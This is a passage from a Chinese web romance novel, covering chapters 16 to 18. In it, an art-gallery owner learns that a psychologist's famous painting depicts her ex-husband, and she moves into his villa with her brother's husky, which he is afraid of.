江之晏摸了摸下巴,这个问题显然问到了他的兴趣点上:“姜小姐表面看起来,如太阳一般炙热,明媚而张扬,恣意且洒脱。” “但外面这层薄薄的茧,将你束缚住了。事实上,你似乎很难亲近他人,这轮太阳背后,有自我压抑和伪装的部分存在。” 姜绒愣住了,她没有想到,江之晏的能力竟然如此之强,竟然可以一针见血,将她的心理,甚至内心隐秘,难以启齿的部分,也直接剖析出来。 她瞬间明白了,为何这人热度如此之高,只在综艺上解析了几个明星的心理,就火成了这样。 “江老师,您真的太厉害了!我有幸欣赏过您的成名画作,我也想从我的角度,来将那幅画解析一番。” 姜绒接着说道,她从自己的包包里,拿出了手机,点开了那副使得江之晏,一画成名的画作——《自噬之蛇》。 江之晏看了她一眼,似乎很期待她的解读。 毕竟,还没有人,敢在他面前,来解析他画里的心理。 那幅画上是一条冰冷的,完美的机械蛇。 它由精密的银色金属齿轮、轴承和镜面般的鳞片构成,极致的理性、秩序和冰冷的美丽。 蛇的姿态是防御与攻击的结合,既优雅又充满危险。 一个红色的苹果,悬浮在蛇的面前,被咬开的部分揭示了其内部并非平常的果肉,而是一个微观的、生机勃勃的森林,藤蔓、菌类、发光的花草在其中疯狂生长。 从苹果内部的森林中,伸出的不是藤蔓,而是无数条细小的、由数据和代码构成的半透明触手。 这些触手正沿着蛇咬住苹果的吻部,反向侵入机械蛇的身体。 蛇冰冷的金属躯体,凡是被触手侵入的地方,齿轮开始生出锈红色的苔藓,镜面般的鳞片变得浑浊, 而在这幅画的最下方,机械蛇的尾部不再是尖梢,而是反过来,被它自己张开的吻部死死咬住。 形成了一个永恒的、自我吞噬的莫比乌斯环。 “江老师,我认为这幅画里的苹果,象征了诱惑与危险之源,而蛇象征了您。” “这条蛇,试图用理性吞噬欲望,最终却被欲望改造,反被欲望吞噬,并永远困在了自我吞噬的循环之中。” 姜绒一边将目光,扫过这幅画的每一个角落,一边自信满满的向江之晏解读着这幅画。 她认为,这幅画虽然风格黑暗,却是奇幻与机械美学的融合。 机械蛇的冰冷银灰与苹果内部的浓郁、温暖,形成了极致对比。 于她而言,有着极强的吸引力。 因此,她早就对这幅画,做过功课,也有这个自信,自己的解读并不会错。 果然,听完姜绒的画,江之晏已经笑出了声来:“姜小姐,你的解读非常深刻,非常到位。不过,你错了两点。” 错了两点?姜绒愣住了,瞪大了一双眼睛。 “首先,这幅画里,绘出的蛇,并不是我,而是我的一个患者和朋友,他一直是我研究的对象和课题。” “这是他学生时代,第一次找我做心理咨询时,我按照他的心理状态,画出来的。” “因为这世界上,几乎找不出另一个人,会有这样他这样特殊的心理状态。”江之晏直视着她,朝她缓缓说道。 原来,这幅画,所画的竟然不是江之晏自己? 那这个人到底是谁呢? 究竟是什么样矛盾复杂的心理状态,才能使得江之晏,以此为灵感,画出了这样一副既诡异,又暗黑、美丽的画来呢? 如果说她爱的是艺术,那么这个人的存在,简直就是艺术的本身。 姜绒对这个人产生了,极其浓烈的好奇心。 江之晏看出了她眼里的好奇,接着往下说: “最后,这幅画里,透出来的,并不仅仅,是宽泛的欲望。” “而是一个人,对于另一个人,近乎病态的,足以吞噬他自身的痴迷。” 听完这两点,姜绒彻底愣住了。 对于这个人的好奇,也达到了顶点。 于是,虽然知道江之晏除了是画家,还是心理治疗师,应当很难去透露客户的隐私,但她还是问出了口: “我能问问您吗?这个人,他到底是谁?” 江之晏笑了一下,朝她摇了摇头:“不好意思,姜小姐,这个问题涉及隐私范畴,我不会回答。” “好吧。那您认为我的解读到位吗?我真的希望,能够拥有和您合作的机会。”姜绒继续向他追问。 江之晏喝了口面前的咖啡,不紧不慢的回答她:“姜小姐,你的勇气可嘉,艺术才能我也非常欣赏,但是我已经不打算再在人前,抛头露面了。” “离名气越近,离人心就越远。” 他的语气意味深长,却带着坚定。 姜绒万万没有预料到,会等来这样的回答。没想到站在热度中心的人,竟然根本就不屑于收割这样的热度。 江之晏拒绝的理由,如此合情合理。 这该怎么办呢?自己废了好一番功夫,才将人约出来,又将自己的画也带了过来,想要打动他。 这一切,不能前功尽弃吧。 “姜小姐,谢谢你的款待。”看着对方慢悠悠的整理好自己身上的医师制服,站起身来,准备离开。 姜绒急了,她在脑海里快速寻找对策,最终想到了自己所认识的,在整个凛川市,最有权势和地位的那一个。 于是她脱口而出:“江老师,能不能请您再考虑一下,陆沉渊您认识吗?我和他关系很好的!” 这句话说出来以后,出乎她意料的反应出现了。 江之晏竟然停下了转身离去的脚步,反而回过头来,一双眸子锁住她,好奇的问出了口:“你和他是什么关系?” 姜绒脸上红了一下,她不得不承认,陆沉渊这个名字,在外面实在是太好用了。 但是她应该怎么回答呢?说自己是陆沉渊的前妻吗? 这种在别人眼里,交恶的关系,江之晏应该不会同意与她合作。 于是在他目光的审视之下,姜绒厚着脸皮,说了句谎:“我……我是他女朋友。” 女朋友?江之晏脸上的惊讶却更甚,他甚至坐回了她对面的座位上,仔细的打量起了她来。 “陆沉渊的女朋友?”他向她反问道。 姜绒心虚的垂下眼睫,点了点头:“是的,我们高中的时候就认识了,我和他一个班的,后来我们相遇,又谈上了恋爱,现在地下恋在一起了,他不想公开。” 她一边在心里佩服自己胡扯的能力,一边尽力让自己的语气显得平静无波,没有任何引人怀疑的起伏。 “有意思。”江之晏却朝她笑了一下,端详着她,说出了这么三个字来。 有意思?到底什么有意思? 姜绒没听明白,江之晏话里这三个字的含义。 “江老师,您要是还不相信的话,我可以给你看看,我有他的私人微信……” 为了增加自己话语里的可信度,她拿起自己的手机,点开了陆沉渊,那个全黑的微信头像,给江之晏看。 江之晏却连看也没看一眼,直接给出了她一个与刚才,完全不同的回答:“姜小姐,你这个合作我接了。” “哇,真的吗?太好了!谢谢您能给我这个机会!”猝不及防听到这个答案,姜绒高兴至极。 喜悦充斥在她心房,她知道,在社交媒体上,江之晏作为全网最热门,而且上过综艺,住过热搜的心理画师,粉丝有五六百万。 这些人若是能自发的,为她艺术馆做宣传,那么绒息艺术馆的名气必然会直线飙升,客流量也绝对不会是问题。 届时,她坐在钱堆里,数钱就可以了。 然而,江之晏的声音,此时,却再次在她耳边响起, 这次说出来的话,却令姜绒惊讶无比,不敢相信: “既然你是陆沉渊的地下女友,那么我不介意告诉你。” “那幅画的主人——就是陆沉渊!” 第16章 第十六章 我答应和你同居! 江之晏, 还记得他第一次见到陆沉渊时的场景。 少年迎着窗外的晨光站着,一身干净无暇的蓝白校服,鼻梁上戴着黑边框眼镜。 肤色冷白, 脸上的表情,沉静至极, 仿佛一个无生命痕迹的精致容器。 是陆竞深和黎之微,一起带他来江家拜访,并聘请他成为陆家新的家庭医生的。 那段时间, 带自家孩子进行心理疗法, 在精英教育的圈子里, 颇为流行。 虽说江之晏, 那时也只是个刚毕业的大学生, 但他毕业于世界顶级心理学学府——斯坦福大学。 他极其擅长心理治疗, 并且乐于分析各种成因复杂的心理问题, 还自创了心理疗愈绘画流派。 通过患者的讲述来画出他的心理状态,再利用这幅画,对患者采取针对性的治疗。 而陆沉渊被父母送过来治疗的理由,只有一个。 那就是他在学校里,一向极稳的平均绩点下降了0.15, 尤其在需要高度专注的理科科目上,得分率下降了3.7%。 而陆竞深特地给他儿子计过时, 在排除了睡眠与健康因素外, 参加奥林匹克竞赛训练时,陆沉渊的解题反应时间平均延迟了0.8秒。 因此, 他们无比确定,一个未知的变量,突然影响了他们, 引以为傲,堪称完美机器的儿子。 坐在劳斯莱斯前排的杨西,开着车,时不时抬头偷看后视镜里,一脸冷漠,无甚表情的陆沉渊。 他怎么也想不明白,自家总裁这是玩的哪一出。 先是莫名其妙让他去查了一个名叫周野的厨师。 对方那张脸,那头金发,他还有印象,似乎就是开机车送姜绒来了民政局门口那小子。 之后陆沉渊又让自己查了此人旗下的餐厅,订了那里的位置后,还让他破天荒的通过了,乔家大小姐的邀约,两人去那里见面。 杨西想着自家总裁,这莫非是万年的铁树开了花,看上乔安安了。 却又万万没想到,他公事公办,才见面聊了十分钟,就出了门,回公司。 乔安安也想上车,根本不愿意离开,自家总裁却当没看见,冷着一张脸,直接让自己开车。 一点也没有怜香惜玉的味道。 透过后视镜,他还看到乔安安在原地站了很久呢,似乎是不想放弃,直到确定他们真的离开了,才黑着一张脸,极不情愿的上了她家里司机的车。 那杨西就实在想不明白,也摸不透,自家总裁这做法了。 而更加令他觉得惊悚的是,今天早上,他竟然在陆沉渊的桌子上,瞟到了一本——中法料理精选食谱。 要知道,作为他的贴身助理,他知道,陆沉渊一向对吃饭没什么兴趣,一日三餐只吃固定菜式,固定口味。 就这样一个人,竟然开始看起了料理书食谱?这简直不可思议! 太奇怪了,最近的怪事多的,甚至让杨西觉得,自己是不是,脑子抽筋,在哪一个瞬间,突然掉进某个异次元里去了。 “陆总,到了。”劳斯莱斯停在了陆家庄园门口,杨西恭敬的朝身后说了一句。 不待他下车亲自为陆沉渊开门,对方已经表情冷淡,长腿一跨,自行下了车。 杨西心里有些惴惴不安,他总感觉,今天自家总裁回去这趟,有点像鸿门宴。 因为,平常陆沉渊一个月最多回陆家一次,而今天才月初,显然不是寻常该聚的时候。 氛围庄重、寂静,极度奢华,占地面积极大的陆家庄园里。 所有细节都完美无瑕,却散发出一种不容置疑的权威和令人下意识屏息的疏离感。 陆沉渊高大挺拔的身影,穿过悬挂一系列冷色调油画的长廊,走进了挑高近十米,铺设了比利时顶级黑色大理石,光洁如镜,冰冷坚硬的门厅里。 低调的法国古董家具,以及意大利Flexform顶级定制家具,以对称式布局放置,坐感极其端庄。 陆竞深和黎知微,已经正襟危坐,在餐桌前,等着他回来吃饭了。 由名厨制作的,各类顶级食材做成的美味佳肴,几乎摆满了一整条长桌。 “沉渊,你快尝尝这汤,我亲自为你熬的。”气质婉约的黎知微站起身来,亲自为他盛了一碗热气腾腾的鹿茸汤。 陆沉渊的表情却很冷,并未伸手去接那汤,垂下眼睫,看了眼腕上的手表:“有什么事情,抓紧说吧,不要超过我们约定的时间。” “果然是我的儿子。”坐在对面,浑浊的目光,一直打量着自己儿子的陆知深,听了他这话,却笑了一下,眼神里充满了赞许。 黎知微表情有些尴尬,只得坐下身去,将那碗汤轻轻放回了原处。 “上次你爷爷的事,你办的很不错,寻的那位姜家小姐很配合,你们婚姻关系已经结束了。” “乔家的大小姐——乔安安,她对你很感兴趣,乔家的珠宝生意,和我们也有些业务往来。” “所以,我们认为,你和她结婚并成家,早日诞下继承人,是对陆家,以及陆氏集团,利益最大化的决定。” 陆竞深毫不掩饰的说明了,他今天叫陆沉渊回家吃饭的目的,仿佛在部署一个新的商业项目。 在他眼里,自己这个儿子,一向听话至极,很少有忤逆自己的时候。 自上学起,一直到现在。 陆沉渊作为他引以为傲的儿子,几乎完美完成了他交给他的每一个任务。 在他所给予的这种顶级资源和养育里,不仅成为了他最出色的继承人,管理集团的能力,更是青出于蓝胜于蓝。 甚至,他还自己创办了审计事务所,将其做到了顶峰的位置。 因此,他有相当的自信,陆沉渊会同意他的这个提议。 然而,这一次,事情彻底出乎陆竞深的意料。 陆沉渊缓缓放下手里的刀叉,拿起餐巾,擦了擦嘴角,一双平静无波,却气场强大的黑眸,扫了他一眼: “父亲,我审计过乔氏集团过去五年的财报。其珠宝市场的份额,有37%依赖于一项将于两年后到期的特许经营权。” “将此定义为,陆家利益最大化的最优解,您的风险评估,存在极大的偏差。” 陆竞深愣住了,印象里,这还是陆沉渊第一次,反抗他的安排。 黎知微察觉了气氛不太对劲,立即在一旁找补了起来: “沉渊,瘦死的骆驼比马大,乔家再如何,也是联姻对象里,条件最好的一个了。” “而且感情嘛,婚后可以培养的,何况今早上,乔安安还主动打了电话给我,说她其实已经暗恋了你很多年呢。” 她认为,联姻没有什么大不了的,就如同她和陆竞深的婚姻,没有什么比利益绑定更加重要。 爱情这种虚无缥缈的东西,从来就不是婚姻的必需品。 陆沉渊却并没有如她想象中,顺着台阶下,说出来的话,再次令陆竞深和黎知微,感到震惊无比: “我理解并尊重二位的决策逻辑。” “因此,作为风险控制预案,我已将我个人持有的陆氏集团,核心子公司——沉渊科技的股权,转入一个独立信托基金。” 他停顿了一秒,让这枚金融炸弹的威力,在父母惊诧的眼里充分释放: “该基金的触发条件为:我的婚姻对象,未经我本人全权、自主、且非基于任何商业协议的选择与确认。” “如果强行执行您的最优解,我将启动该预案。” “这意味着,集团将立刻失去人工智能领域的核心资产与技术壁垒。” “根据我的测算,消息公布后24小时内,陆氏集团的总市值,蒸发幅度将会超过30%” 黎知微手里的汤碗掉在了地上。 “你……”陆竞深被气得,抚住胸口,一句话也说不出来,但他极可悲的发现,自己现在,竟然真的拿陆沉渊没有任何办法。 毕竟,在两年前,他就已经将陆氏集团,全权交由了陆沉渊负责,自己则大举放权,彻底退居了幕后。 陆沉渊暗中弄信托基金的事,他根本毫无察觉。 就像收起了利爪,默默潜伏在暗夜里的巨兽,在一瞬间出击,一击必中! 可以说,现在集团里的一切,都是陆沉渊说了算。 但令陆竞深心里更加纳闷的是,明明此前,他提出为了给弥留之际的陆老爷子冲喜,所以要求陆沉渊去联姻。 陆沉渊那时,不仅没有反对,甚至还主动挑中了姜家那位小姐。 而现在,同样是进行家族联姻,而且是和身家更高,权势地位更好更厉害的乔家。 他却为何突然变了卦呢?而且反抗的如此厉害,甚至不惜搭上集团的利益。 此时,陆沉渊高大挺拔的身影却站了起来,走出门前,他沉声留下了最后一句话, 这句话,令陆竞深和黎知微两个人,都瞬间睁大了眼睛,完全不敢置信: “我已经有喜欢的人了,而且,她已经怀上了我的孩子!” 陆沉渊已经离开,只留下陆竞深和黎知微,两人跌坐在座位上,心情又惊又喜,久久不能回神。 与此同时,姜家别墅里。 姜绒回到家里,总觉得有些魂不守舍。 或许是因为,今天在餐厅,她亲眼目睹了乔安安向陆沉渊表白的刺眼场景。 又或许乔安安那副殷勤至极,热情盛放,与上学时判若两人,恨不得将整双眼睛,都黏在陆沉渊身上的模样。 令她回想起来,心里总觉得有些莫名的烦躁,不舒服。 而更重要的是,她在想,到底是什么样的原因,使陆沉渊能被江之晏,画出那样一副画来。 是什么样,压抑至极的家庭,才能让一个人,从高一开始,就已经进行了心理治疗呢? 她想起陆沉渊总是冷冰冰的那张脸,还有他偌大的,基本上只有他一个人居住的别墅。 就像姜绒小时候看过的,美女与野兽的动画片里,那头体格雄壮,长相丑陋,却愿意将一颗滚烫的心,制成玫瑰,献祭给所爱之人的野兽。 他明明是王子,却其实什么都不曾拥有。 如同陆沉渊的那个身影,看起来,其实是孤独的。 而她突然发现了一个问题——自己对陆沉渊这个人,似乎,比自己想象中,还要好奇。 “想什么呢?魂不守舍的。”苏清砚将一大块话梅排骨,夹到了姜绒碗里,朝她问道。 姜绒思绪被拉回现实,白皙的小脸,迅速红了一下,岔开了话题:“没什么,想姜曜什么时候把这只哈士奇,接到他宿舍里去。” 她指了指脚边,那头正咬着她裤脚,使劲摇晃脑袋的哈士奇。 “哦,说起布布,你哥才拜托我呢,说要你帮他把狗,带去艺术馆里,照顾两周。他要去国外巡演,没时间。” 苏清砚一拍脑袋,想起了这件事来,向姜绒说道。 姜绒筷子差点掉地上:“啊?我带着它?它会拆家乱跑的,这傻狗要是把我艺术馆的雕塑砸了,价值百万的名画咬烂了咋办?” 她想起,姜曜带布布去医院做检查,前不久刚出炉的智商测试上,结果那栏,赫然写着——智障,两个字的检查报告。 “那我不管,我平时可没那么多时间照顾它。”苏清砚放下筷子,姿态优雅的捋了捋自己耳环。 姜新鸣立即发了威:“绒绒,你就心疼心疼你妈嘛,她已经被这只狗,吵得神经衰弱了。” 姜绒只得摇了摇头,拿自己爸,这个护妻狂魔,根本没有办法。 然而看着他们两人互相夹菜,在自己面前卿卿我我的温馨场面,她眼眶突然湿润了一下。 从高二开始,一直到大学毕业。 为了求学,她在国外独自生活了许久,其实很久没有看到过这样微小,却充满爱与温暖的,家庭场面了。 一个小小的想法,突然在她脑海里发了芽。 或许,结婚其实也没自己想象中,如洪水猛兽般,那么可怕又恐怖呢? 放下筷子,她忍不住向苏女士问了一句:“妈,你当年知道怀上了我以后,是什么心情啊?” “心情?那自然是非常快乐,又非常骄傲啊!”苏清砚听到她这突如其来的提问,笑意盈盈的回答她。 姜绒被她笑容感染,嘴角不由也开始上扬。 “你想想,你老妈我,从小就是搞绘画,搞艺术的。” “艺术的本质就是创造,和创造生命不也一样吗?”苏清砚接着往下说,话语里充满哲思。 姜绒却愣了一下,内心受到了极大的启迪。 是啊,怀孕这件事情,难道只能与那些负面的消息捆绑,在社会的舆论和焦虑控制下,成为最可怕的事情吗? 创造生命,其实本身就是一种艺术。 苏女士伸手轻轻抚了抚她的脸,眼神里满是疼爱: “你和姜曜,都是上天赐予我的礼物,我在肚子里的空白画布上,创造了你们。而你们出生后,却会用你们自己的色彩,丰富我和你爸的人生。” “所以,知道怀上了你以后。我知道,我又拥有了一个这世上独一无二,令我骄傲无比的艺术品!” 姜绒心内的感动更甚,眼眶里的泪珠,不知何时就掉落了,但那是幸福的泪水。 她不禁抱住了苏女士纤瘦的身体,在她耳边不住说道:“谢谢你,妈……” 苏清砚虽然不明白,自己女儿,为何会突然问出这样的问题来,但她亦一边笑着,一边紧紧回拥住了她。 吃完了晚饭,姜绒在苏清砚和姜新鸣的目送下,把布布带上了自己,拉风的红色阿斯顿马丁跑车。 这只哈士奇到了她的车上,也并不安分,用爪子,将她的真皮座椅,刮的呲呲作响。 姜绒虽然生气,却也没办法,只能一边开车,一边安抚这只傻狗: “布布,你先别挠了,姐姐带你去住大房子,让你跟蜥蜴,还有电脑人,大战三百回合去。” 这次,她的目的地,并不是自己的艺术馆。 知道情况不对,自家总裁的脸色差的不行,显然是回陆家吵架,或者是闹不和去了。 杨西不发一言,小心翼翼的将劳斯莱斯幻影,平稳的停在了陆沉渊的别墅,云顶天阙门口。 随即,他解开安全带,快步下了车,打算为陆沉渊打开车门。 然而,此时,杨西眼尾余光里,却兀然瞥到,别墅门口,竟然停了一辆,颜色张扬的,红色阿斯顿马丁跑车。 这车谁的? 什么人,竟然敢来陆沉渊的地盘停车,胆子实在也太大了吧! 杨西打算立即掏出手机,叫保卫科的人前来。 然而,下一秒,一个红色的身影,却伴随着狗吠,下了车,径直往劳斯莱斯后排的陆沉渊,面前走去了。 ——正是姜绒。 姜绒敲开了车窗,径直望向车内,身材高大挺拔的男人。 与那双气场强大,深不见底的黑眸,对视上后,她白皙的耳尖瞬间泛了红,却仍朝他,一字一顿的说道: “陆沉渊,我答应和你同居!” 作者有话说:宝宝们,中秋快乐!猫猫祝大家阖家团圆,开心快乐!记得吃月饼哟~你们吃了啥口味的呀?[亲亲][亲亲] 第17章 第十七章 今晚,我能和你一起睡吗?…… 看向姜绒的一瞬间, 陆沉渊脸上的表情,起了细微的变化,一向没有什么弧度的唇, 轻轻勾了一下。 隔着车窗,他点了点头, 直视着姜绒沉声说道:“你能做出这个选择,非常正确。” 姜绒脸上飞起一抹绯红,她发现陆沉渊有个特点, 那就是说话时, 喜欢用那双极好看的, 眼尾微微上扬的黑眸直视着她。 这个特点, 会让她有些莫名招架不住, 更不必提, 自己对他的身体反应非常诚实。 “汪汪汪!”此时, 一阵刺耳的狗叫声,却突然从他们身边传来,正是布布在叫。 来到新的地点,似乎令它非常兴奋,甚至想挣脱姜绒手上的牵引绳。 姜绒赶忙低下头, 大声训斥它:“布布,你给我坐下!不许乱动!” 听到这个叫声, 陆沉渊的脸色却瞬间白了一下, 他迅速移开面向车窗外的目光,骨节修长的手指攥成了拳。 杨西快步向车前跑来, 见到姜绒的那一秒,已经够让他惊讶了,见到她手里牵的那条哈士奇, 更是让他目瞪口呆。 因为,陆沉渊非常怕狗。 他几乎是杨西印象里,最怕狗的人了。 怕到了什么程度呢?哪怕是电视屏幕里,不小心放到了狗的画面,陆沉渊都会要求他们立即关掉并追责。 要进入任何购物商场时,陆沉渊更会命杨西,只选非宠物型商场,并且要保证,他的移动路径上,不会遇到任何一只狗。 陆沉渊的别墅周围,甚至更加夸张,因为不能让他听到任何狗吠的声音,所以方圆十里之外,都是由专人专门进行禁止养犬处理的。 杨西虽然觉得很奇怪,不能理解狗这样可爱的生物,令自家总裁有什么恐惧的,毕竟蜥蜴,他都能养的很好。 但他既不敢问,也不敢说,只能认真执行陆沉渊的命令。 而今天,姜绒,竟然就这么堂而皇之的,牵了一条中型犬——哈士奇,直奔自家总裁而来。 看着姜绒训狗的场面,杨西觉得有些为难,虽然不想扫兴,但为了自家总裁考虑,他还是开了口,朝她说道:“姜小姐,这狗……” “杨西,闭嘴。让人把姜绒的行李搬进别墅里去。” 陆沉渊的声音,却立即从车里传了出来,正是脸色有些发白的自家总裁,正在朝他厉声命令。 杨西愣住了,他挠了挠头,不明白自家总裁这是什么意思,毕竟他摆明了仍然是极其怕狗的,不然不会把车门锁的死紧,现在都还不肯下车来。 但陆沉渊又不允许,自己让姜绒把狗送走,还真是奇怪。 “哎,布布,你去哪儿呢?别跑!”此时,一道呼喊声,却打破了杨西的沉思,正是姜绒在叫。 他垂眸看去,正是那只哈士奇,忽然大力挣脱了姜绒手里的牵引绳,撒开脚丫子,往别墅前,那片偌大的花园里跑去了。 智商低就是智商低,真是一点人话都听不懂。 姜绒双手叉在腰上,气得不行,但她又怕姜曜到时候找自己兴师问罪,于是俯身脱下脚上的高跟鞋,就要去追那只跑得极快的傻狗。 “你现在怀着身孕,别去了,我让管家去找回来就行。” 姜绒纤细的手腕,却瞬间被人拉住了,一道低沉好听的声音,兀然从她耳畔传来。 她愣了一下,回头看去。 正是陆沉渊,他高大挺拔的身影,不知何时下了车,骨节修长,肤色冷白的宽大手掌,及时出手,牢牢握住了她手腕。 带着暖意的温度,正从陆沉渊与她皮肤相触的掌心传来,带着不庸质疑的态度。 姜绒耳尖红了一下,她知道,陆沉渊是为了她好,方才她一时情急上头,确实忘了,自己肚子里还有孩子这件事。 “那好吧。”她点了点头,同意了陆沉渊的提议。 陆沉渊这才放开了她手腕,但他视线,却又很快落在了她那双红丝绒面料,坡跟高跟鞋上,沉声向姜绒说道: “这样的鞋子,已经不适合你穿了。明天我会让设计师来别墅,亲自让你挑选,给你设计,孕期最舒适的鞋。” 姜绒点了点头,更觉得有些心虚,自己从未怀过孕,此前又没有多上心,所以出门时,还是习惯性的选择了,穿自己爱穿的高跟鞋。 陆沉渊显然比她心细很多,程度甚至有些超乎自己的想象。 很快,他命人拿来了一双踏地柔软舒适的羊毛棉拖,让她穿着那双拖鞋走进了别墅里。 第三次来到这个地方,姜绒已经不再觉得陌生了,甚至有股莫名的熟悉感,在看到恒温箱里,那只虎视眈眈,一双竖瞳盯着她的鬃狮蜥时,竟也不觉得那么害怕了。 她的适应能力极强,这也是她从高二开始,便能在国外独立求学生活的原因所在。 本就是早早吃完晚饭,没有回艺术馆,而是来了云顶天阙,待姜绒在偌大的,一应俱全,设施高级的房间里,将行李收拾安顿好以后,天色已经彻底黑了下来。 她哼着小曲,换上自己带来的粉色丝绸睡衣,准备去洗个澡,就上床睡觉。 与此同时,隔壁房间内。 一身西服的管家老陈,正将那只抓捕回来,关在笼子里的哈士奇,连同狗粮一起,送往陆沉渊的房间。 对方并未通知他,将狗还到姜绒房间里去,或是告诉他如何处理这只狗,只是冷声通过电话内线告诉了他,将狗送到他房间里去,并准备最顶级的现做狗粮即可。 陆沉渊的这个命令,几乎令所有的佣人都感到吃惊。 毕竟他们从一踏进陆沉渊别墅,开始为他工作之初,就已经被专门告知叮嘱了,他们的主人怕狗,并且任何时候,任何地点,不希望见到任何狗的存在,这件事情。 “陆总,这只狗放这里就可以了吗?需不需要我派人在门口守着,以防万一,您需要帮助。”老陈将狗笼放下,表情有些迟疑,朝陆沉渊问道。 陆沉渊却朝他摆了摆手:“不必,你离开就可以了。” “好的。”老陈赶忙点了点头,利落的将一个盛了顶级狗粮食材的托盘放在地上,为他关上房门,离开了房间。 汪汪!显然不满足于被抓回,并关在笼子里的待遇。 布布大声吠叫着,并用爪子兴奋的刨着狗笼下的垫子,甚至张开大嘴,将铁栏咬的嘎吱作响。 陆沉渊抑制住内心,一切恶心的感觉,逼迫自己把目光,放在那只狗身上。 然而不过才看了一眼,便令他将拳放在发白的唇边,深呼吸了好几下,脸色才得到缓解。 抑制不住的恐惧,夹杂着曾经的回忆,一同袭来,几乎将他整个人都吞噬。 但他知道,这是一个机会,一个极好的机会。 于是,陆沉渊脱下身上的西装外套,戴上手套后,再次深呼吸了好几分钟,高大的身影,这才迈着,有些虚浮的脚步,走到了那狗笼前。 听到有人走来的脚步声,看到有人站在自己面前,布布显得兴奋极了,它咧着嘴,一边摇尾巴,一边在狗笼里转来转去。 陆沉渊移开望向它的目光,屏住呼吸,侧开头去,伸出骨节修长的手指,摸索着狗笼的门锁位置,在迟疑了几秒钟后,毅然决然的打开了狗笼的门。 汪汪!才开了门,自来熟的布布,已经迅速冲了出来,亲昵的叫着,摇着尾巴,朝陆沉渊身上,扑了过去。 虽然已经做好了心理准备,但还是预料不及,陆沉渊高大的身影,向一旁躲避不及,反倒跌在了大理石地板上,一阵刺痛从手臂处传来。 他深吸了一口气,在布布盯着它摇尾巴,未对他发动第二次扑人行动之前。 强忍着一切不适,立即拿起了地上白色的托盘,将那些由新鲜三文鱼,兔心,牛骨髓等高级食材构成,手工现做的狗粮,洒在了自己一尘不染,干净无瑕的床单上。 闻到食物的味道,布布碧蓝的眼球立即发了光,兴奋的叫了几声,转移了目标,几步便跨上了陆沉渊的床,大口朵颐起了床单上的美食。 整洁的床上,立即变得一团糟,到处都是狗粮残渣以及布布口水的痕迹…… 姜绒在房间里洗完了澡,又将一头乌黑浓密的秀发吹干,这才哼着小曲,推开了浴室门,准备护肤一番后,就立即上床睡觉。 铛铛铛,此时,她的房间门口,却传来了一阵敲门声。 这么晚了,谁还会找他?别墅里的佣人们应该都已经下班了吧? “来了!”姜绒有些疑惑,她放下手里的羊绒毛巾,走了两分钟,到达房门前,打开了门。 门口,迎着昏黄灯光站着,清冷的银色月光洒在他侧脸,身材高大挺拔的人,令她意想不到。 正是一身白衬衫的陆沉渊。 他没有穿外套,也没有戴那副令姜绒熟悉的金丝边眼镜。 陆沉渊唇色有些发白,轮廓深邃的脸上,表情兀然多了一丝难言的脆弱,骨节修长的手指,正按在他自己右边手臂上。 那里似乎是受伤了,令他觉得疼痛。 他整个人站在那里,如同一件易碎的白瓷一般好看精致,却令仰头看向他的姜绒,觉得有些恍惚。 这还是她所认识的,那个无所不能,强大至极的,白天的陆沉渊吗? “你怎么啦?怎么回事?”姜绒手把着门,疑惑的向陆沉渊问出了口。 陆沉渊张了张唇,声线低沉,有些颤抖, 却说出了一句,令姜绒完全意想不到,瞬间红了脸的话来: “你的狗把我的床毁了,今晚,我能和你一起睡吗?” 作者有话说:宝宝们,欢迎评论,灌溉,投雷啊!你们留下越多足迹,猫猫更的就越多越快,你们就是我的动力啊! 亲亲(* ̄3 ̄)╭ 第18章 第十八章 这似乎是一个意外。 “啊?布布竟然这么过分?连你的床都敢上?这只傻狗, 我马上去把它拎过来!” 姜绒气极,挽起袖子,就要去陆沉渊房间里抓狗。 陆沉渊却皱了皱眉, 握住了她手腕:“你别去了,我已经让人专门看好它了, 但今晚我房间,确实没办法睡了。” “好吧。”姜绒停下了步子。 她想到了,陆沉渊洁癖历来那么严重, 被狗爪子踩过的床, 肯定是不可能再会去睡了。 更何况, 他这么老实, 应该不会说谎。 姜绒挠了挠头, 歉意的仰头看向他, 向他道了个歉:“对不起啊, 陆沉渊,那条狗其实不是我的,是我哥姜曜的,他托我照顾两个星期。” “但我不想让它去我艺术馆,它破坏能力太强了, 别说你了,我哥房间都被它拆过好几遍了。” “兽医也说了, 它是个智障……” 陆沉渊的目光却落在她脸上, 一双锐利的黑眸,带了几分探究与审视:“所以, 你突然答应和我同居,只是为了省事?” 姜绒耳尖细微的红了一下,她该怎么回答呢? 她知道, 自己必然不能告诉陆沉渊,她答应和他同居,不仅仅是因为,自己对于怀孕这件事,如今不再有那么强的抵触心理。 更是因为,自己看了江之晏,那副关于他的画后,对他这个人产生了好奇,想更多的了解他这个人。 “也不是这样,我是认为,你是我肚子里,孩子他爸,父母在一块,还是更加能保证孩子安全。” 姜绒伸手轻轻抚了抚肚子,巧妙的用这个回答掩饰了一切。 毕竟,以孩子当由头,一切就瞬间能够变得合理起来。 “唔……”此时,陆沉渊却微微皱起了好看的眉头,骨节修长的手指,隔着布料,抚在他右手肘上,似乎很是难受。 姜绒瞬间愣住了,朝他关切的问出了口:“你手臂怎么了?不会也是布布弄得吧。” “嗯,它突然朝我冲过来,我躲避不及……”陆沉渊表情极里多了一丝无奈,回答她道。 毕竟是自己带来的傻狗,姜绒心里的愧疚更甚,伸手欲搀扶他去坐下,却又立即停下了动作。 她知道,陆沉渊有严重的洁癖,一定不喜欢任何人碰他的身体。 于是赶忙朝他说道:“那你在沙发上坐下来吧,我帮你叫你的家庭医生过来,帮你看看伤。” “这么晚了,他应该已经下班了。”陆沉渊的表情有些苦恼。 姜绒慌了:“那怎么办呢?” “每个房间都有应急的医药箱,要不,麻烦你帮我拿过来。”陆沉渊的目光,却落在她身上,朝她请求道。 姜绒赶忙点了点头:“好!我立刻去拿!” 于是,成功在抽屉里,找到常用药品,被陆沉渊分明别类,写好了编号,备的极其详细的应急医药箱后,她将箱子拎到了陆沉渊面前,又亲自为他打开,拿出了碘伏和棉签。 陆沉渊挽起了他右手臂上,白衬衫的袖子,冷白的肤色上,一片触目惊心的青紫色,瞬间印入了姜绒眼帘。 却令她怔怔的看着,有些发呆。 他的皮肤有些过分好了,肤色极为冷白,几乎看不到毛孔不说,似乎还是那种,极容易在身上留下痕迹的类型。 虽然姜绒欣赏过无数帅哥,但直觉还是告诉了她,陆沉渊这种肤质,似乎是难得一见的极品。 